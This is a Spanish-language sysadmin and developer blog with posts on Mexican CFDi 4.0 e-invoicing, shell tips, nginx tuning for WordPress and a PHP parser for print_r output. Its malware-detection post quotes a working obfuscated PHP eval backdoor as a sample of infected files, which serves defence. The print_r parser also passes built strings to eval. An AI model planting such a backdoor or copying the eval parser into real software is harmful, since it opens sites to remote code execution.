El MashTer
compartiendo consejos
viernes, 28 de enero de 2022
Ejemplo de factura electrónica 2022 en Panamá (DGI)
jueves, 4 de noviembre de 2021
Factura electrónica CFDi 4.0 para el 2022
Cambios, Información y Ejemplos CFDi 4.0
El SAT anuncio la nueva versión de facturación electronica v4.0 para CFDi, esta comienza en operación el 1 de Enero del 2022.
De enero al ultimo de abril se permitirán las versiones 3.3 y 4.0; pero a partir del primero de mayo unicamente estará disponible la version 4.0, asi que sera importante el actualizar nuestros sistemas de facturación electrónica.
Cambios para CFDi 4.0
Los cambios seran en la estructura del XML, por lo tanto tambien cambiarán elementos de la información, esto implica que habrán actualizaciones mayores
- Algunos cambios son exportación
- Complemento de pagos 2.0
- Cancelación de documentos
- Regimen del receptor
- Domicilio fiscal del receptor
- Conceptos más detallados
- Información adicional para facturas globales a publico en general
Códigos fuente y XML de ejemplo CFDi 4.0
- PHP 5.3+
- VB
- CSharp
- .net
- WebService
- Java
- entre otras
domingo, 8 de noviembre de 2020
Como contar las lineas de codigo desde shell
El siguiente comando te consulta en shell cuantas lineas de código cuenta el proyecto
# find . | xargs wc -l
obteniendo un resultado como el siguiente:
(fragmento del final del resultado)
99 ./me/masheditor/servicios/dbme_clasificacion_productos_descuentos/dbme_clasificacion_productos_descuentos.php
133 ./me/masheditor/servicios/admin_administradores/admin_administradores.php
64 ./me/masheditor/servicios/dbme_vendedores/lib.php
19 ./me/masheditor/servicios/dbme_vendedores/dbme_vendedores.php
43 ./me/masheditor/servicios/dbme_talleres/lib.php
22 ./me/masheditor/servicios/dbme_talleres/dbme_talleres.php
45 ./me/masheditor/servicios/dbme_procesos_formulas/lib.php
23 ./me/masheditor/servicios/dbme_procesos_formulas/dbme_procesos_formulas.php
51 ./me/masheditor/servicios/bd_general/lang/es-mx.php
390 ./me/masheditor/servicios/bd_general/bd_general.php
40 ./me/masheditor/servicios/dbme_eventos_prioridades/lib.php
18 ./me/masheditor/servicios/dbme_eventos_prioridades/dbme_eventos_prioridades.php
21 ./me/masheditor/servicios/dbme_movimientos_tipo/dbme_movimientos_tipo.php
52 ./me/masheditor/servicios/dbme_movimientos_tipo/lib.php
129 ./me/masheditor/servicios/dbme_plantillas_reglas_ejecuta_cron/dbme_plantillas_reglas_ejecuta_cron.php
34 ./me/masheditor/servicios/dbme_talleres_etapas/lib.php
20 ./me/masheditor/servicios/dbme_talleres_etapas/dbme_talleres_etapas.php
456 ./me/masheditor/configuracion.php
6301 ./me/masheditor/masheditor.php
12 ./me/masheditor/libexternos/demo/_ini.php
9 ./me/masheditor/libexternos/Fajax/_ini.php
14 ./me/masheditor/libexternos/jquery_ui/_ini.php
12 ./me/masheditor/libexternos/jquery_tools/_ini.php
46 ./me/masheditor/libexternos/fValidator/_ini.php
9 ./me/masheditor/libexternos/mootools/_ini.php
9 ./me/masheditor/libexternos/prototype/_ini.php
22 ./me/masheditor/libexternos/jquery/_ini.php
14 ./me/masheditor/libexternos/scriptaculous/_ini.php
74 ./me/css.php
65 ./cancelar_analisis.php
462478 total
martes, 18 de agosto de 2020
Detectar archivos infectados en wordpress y páginas web
Es muy común que los sitios son atacados por hackers modificando o añadiendo archivos malignos (infectados), principalmente sitios elaborador con wordpress
Este comando te ayuda a detectar esos archivos, lo tienes que ejecutar por shell (ssh)
grep -R 'eval(' /home3/m*/public_html/* | grep -v 'Binary file' | grep -v '.css:' | grep -v '.js' | grep -v retriev |grep -v evalua | grep -v revalida | grep -v jquery | grep -v '.po:' | grep -v doubleval | grep -v 'INSTR(LCASE(' | grep -v '(strpos(strtolower($entry' | grep -v PCLZIP | grep -v 'INSTR(' > /root/lista.txt && cat /root/lista.txt && cat /root/lista.txt | mail -s "Backup" -a /root/lista.txt tucorreo@algo.com
rojo remplazar
azul remplazar con instrucciones
instrucciones azul
/home /home2 /home3 es la unidad de disco a escanear
en el ejemplo esta
/home3/m* = disco 3 todos los usuarios cpanel que comiencen con M
/home3/medix = disco 3 escanear al usuario medix
/home3/* = disco 3 todos los usuarios
/home2/* = disco 2 todos los usuarios
/home/* = disco 1 todos los usuarios
etc...
que hace el comando
Busca todos los archivos que contengan el comando eval , ese es el comando mas utilizado por atacantes, en un 99%; PD no siempre entran por este comando pero casi siempre lo usan para una vez infectado atacar al sitio o hacer sus cosas.
luego perfecciono el comando con otros tipos de ataques o amenazas
Aclaraciones del resultado, este resultado muestra los archivos con ese comando, no significa que estén infectados , intente eliminar la mayor cantidad de usos buenos
Típicos archivos maliciosos
caracteres raros
tiendadebuceo/history.php:<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q64cbee'])){eval(${$s20}['q64cbee']);}?><?php
una cadena de muchas letras y numeros acompañados de un eval
eval(base64decode("mnAISDNQmnmxsa98hjn98lkASDumw3idmnaSDYB)ebiSAD867b3iu97ASDFNBIAJdn783hkjABSND783b2kjbnSAkjdnjuahsd3wb98HJb7983bkashdbashjdbajshbda....
lunes, 18 de mayo de 2020
Vaciar carpeta spam y trash en Plesk + dovecot
Plesk + Dovecot
Este ejemplo es para eliminar correos con 2 semanas de antigüedad (2w) desde shellDesde shell ejecutar
# doveadm expunge -u micuenta@midominio.com mailbox INBOX.Spam before 2w;
# doveadm expunge -u micuenta@midominio.com mailbox INBOX.Trash before 2w;
o para aplicarlo a todos los correos en un servidor plesk
for i in $(plesk bin mail -l | tr '\t' ' ' | cut -d' ' -f 3-); do doveadm expunge -u "$i" mailbox INBOX.Spam before 2w; done
for i in $(plesk bin mail -l | tr '\t' ' ' | cut -d' ' -f 3-); do doveadm expunge -u "$i" mailbox INBOX.Trash before 2w; done
este segundo lo pueden añadir a cron
miércoles, 13 de mayo de 2020
Optimizar WordPress + Plesk + nginx
- Activar en plesk nginx
- En plesk ir al dominio
- ir a Configuración de Apache y nginx
- desactivar
- añadir en Directivas adicionales de nginx el siguiente codigo
if (!-e $request_filename) {
set $test P;
}
if ($uri !~ ^/(plesk-stat|webstat|webstat-ssl|ftpstat|anon_ftpstat|awstats-icon|internal-nginx-static-location)) {
set $test "${test}C";
}
if ($test = PC) {
rewrite ^/(.*)$ /index.php?$1;
}
# GZIP Compression
gzip on;
gzip_disable "MSIE [1-6]\\.(?!.*SV1)";
gzip_min_length 1100;
gzip_buffers 4 32k;
gzip_proxied any;
gzip_comp_level 9;
gzip_types text/plain text/css application/javascript application/x-javascript text/xml application/xml application/xml+rss text/javascript image/x-icon image/bmp image/svg+xml;
gzip_vary on;
# NGINX Caching
location ~* \.(?:ico|css|js|gif|jpe?g|png|svg|woff)$ {
expires 30d;
add_header Cache-Control "public";
log_not_found off;
}
location ~* \.(jpg|jpeg|gif|png)$ {
expires 365d;
log_not_found off;
}
location ~* \.(pdf|css|html|js|swf)$ {
expires 2d;
log_not_found off;
}
location ~ \.css {
add_header Content-Type text/css;
}
location ~ \.js {
add_header Content-Type application/x-javascript;
}
# SECURITY
location ~* wp-config.php { deny all; }
location ~* "^/wp-content/(?!plugins/).*\.php" { deny all; }
Ahora ir a Configuración de PHP
memory_limit = 200M
max_execution_time = 15
post_max_size = 16M
upload_max_filesize =16M
opcache.enable = on
Y listo, Wordpress volará
No olvides complementar con buenos caches de WordPress, de preferencia que ulticen APC y MemCache para mejorar su desempeño
viernes, 17 de mayo de 2019
funcion convertir cadena print_r a arreglo
Función print_r a arreglo
Les comparto esta función que permite pasar de una cadena generada de print_r hacia un arreglo
modo de uso
$cadena="Array
(
[PAC] => Array
(
[usuario] => DEMO700101XXX
[pass] => DEMO700101XXX
[produccion] => NO
)
[conf] => Array
(
[cer] => ../../certificados/lan7008173r5.cer.pem
[key] => ../../certificados/lan7008173r5.key.pem
[pass] => 12345678a
)
[version_cfdi] => 3.3
[cfdi] => C:\SDK2\timbrados\ejemplo_arrendamiento.xml
[xml_debug] => C:\SDK2\timbrados\debug_ejemplo_arrendamiento.xml
[php_openssl] => SI
[factura] => Array
(
[serie] => A
[folio] => 100
[fecha_expedicion] => 2019-05-10T09:10:19
[metodo_pago] => PUE
[forma_pago] => 01
[tipocomprobante] => I
[moneda] => MXN
[tipocambio] => 1.0
[LugarExpedicion] => 27000
[RegimenFiscal] => 601
[subtotal] => 1000
[total] => 840
)
[emisor] => Array
(
[rfc] => LAN7008173R5
[nombre] => ACCEM SERVICIOS EMPRESARIALES SC
)
[receptor] => Array
(
[rfc] => SOHM7509289MA
[nombre] => MIGUEL ANGEL SOSA HERNANDEZ
[UsoCFDI] => P01
)
[conceptos] => Array
(
[0] => Array
(
[ClaveProdServ] => 84111506
[cantidad] => 1
[unidad] => NO APLICA
[ClaveUnidad] => ACT
[descripcion] => RENTA DE OFICINA MAYO 2014
[valorunitario] => 1000.00
[importe] => 1000.00
[CuentaPredial] => Array
(
[Numero] => 12345678
)
[Impuestos] => Array
(
[Traslados] => Array
(
[0] => Array
(
[Base] => 1000.00
[Impuesto] => 002
[TasaOCuota] => 0.160000
[Importe] => 160.00
[TipoFactor] => Tasa
)
)
[Retenciones] => Array
(
[0] => Array
(
[Impuesto] => 002
[Importe] => 160.00
[Base] => 1000.00
[TasaOCuota] => 0.160000
[TipoFactor] => Tasa
)
[1] => Array
(
[Impuesto] => 001
[Importe] => 160.00
[Base] => 1000.00
[TasaOCuota] => 0.160000
[TipoFactor] => Tasa
)
)
)
)
)
[impuestos] => Array
(
[TotalImpuestosTrasladados] => 160.00
[TotalImpuestosRetenidos] => 320.00
[translados] => Array
(
[0] => Array
(
[Impuesto] => 002
[TasaOCuota] => 0.160000
[Importe] => 160.00
[TipoFactor] => Tasa
)
)
[retenciones] => Array
(
[0] => Array
(
[Impuesto] => 002
[importe] => 160.00
)
[1] => Array
(
[impuesto] => 001
[importe] => 160.00
)
)
)
)";
$arreglo=print_r_reverza($cadena);
y listo....
IMPORTANTE: esta primer version no es compatible si el valor tiene comillas, parentesis, palabra array , llaves o [ ]
function print_r_reverza($cadena)
{
$cadena=str_replace("\r",'',$cadena);
$renglones=explode("\n",$cadena);
$linea_con_coma=true;
$cadena_final='$datos=';
foreach($renglones AS $renglon)
{
if(strlen($renglon)<1)
continue;
if($renglon=='(' OR $renglon==')' OR $renglon=='Array' )
{
$linea_con_coma=false;
}
else
{
$linea_con_coma=true;
}
if(strpos($renglon,'=>'))
{
$renglon=formato_renglon($renglon);
}
else
{
$renglon=str_replace('"Array",','array ',$renglon);
$renglon=str_replace('Array','array',$renglon);
// echo "$renglon<br/>";
}
if($linea_con_coma==true)
{
$cadena_final.="$renglon\",";
}
else
{
$cadena_final.="$renglon\n";
}
$cadena_final=str_replace(',)',')',$cadena_final);
}
$cadena_final="$cadena_final;";
$cadena_final=str_replace(' ',' ',$cadena_final);
$cadena_final=str_replace(' ',' ',$cadena_final);
$cadena_final=str_replace(' ',' ',$cadena_final);
$cadena_final=str_replace(' ',' ',$cadena_final);
$cadena_final=str_replace(' ',' ',$cadena_final);
$cadena_final=str_replace(' ',' ',$cadena_final);
$cadena_final=str_replace(' ',' ',$cadena_final);
$cadena_final=str_replace('"Array",','array ',$cadena_final);
$cadena_final=str_replace('"Array,','array ',$cadena_final);
$cadena_final=str_replace('(",','(',$cadena_final);
$cadena_final=str_replace(', )"',')',$cadena_final);
eval($cadena_final);
return $datos;
}
function formato_renglon($renglon)
{
$renglon=str_replace('=> ','=> "',$renglon);
$renglon=str_replace('[','"',$renglon);
$renglon=str_replace(']','"',$renglon);
return $renglon;
}
Ejemplo de factura electrónica 2022 en Panamá (DGI)
Código fuente Facturación 2022 Panamá Panamá comenzó el proceso de migración a facturación electrónica, actualmente ya salieron los primero...
-
Aquí les dejo un ejemplo de un query para mostrar el día de la semana (lunes, martes, miercoles,....) de una fecha almacenada en mysql ...
-
Activar en plesk nginx En plesk ir al dominio ir a Configuración de Apache y nginx desactivar Modo proxy...
-
Hace poco encontré esta página en donde muestran ejemplos de bases de datos ya creadas de múltiples rubros, por ejemplo esta de comercio ele...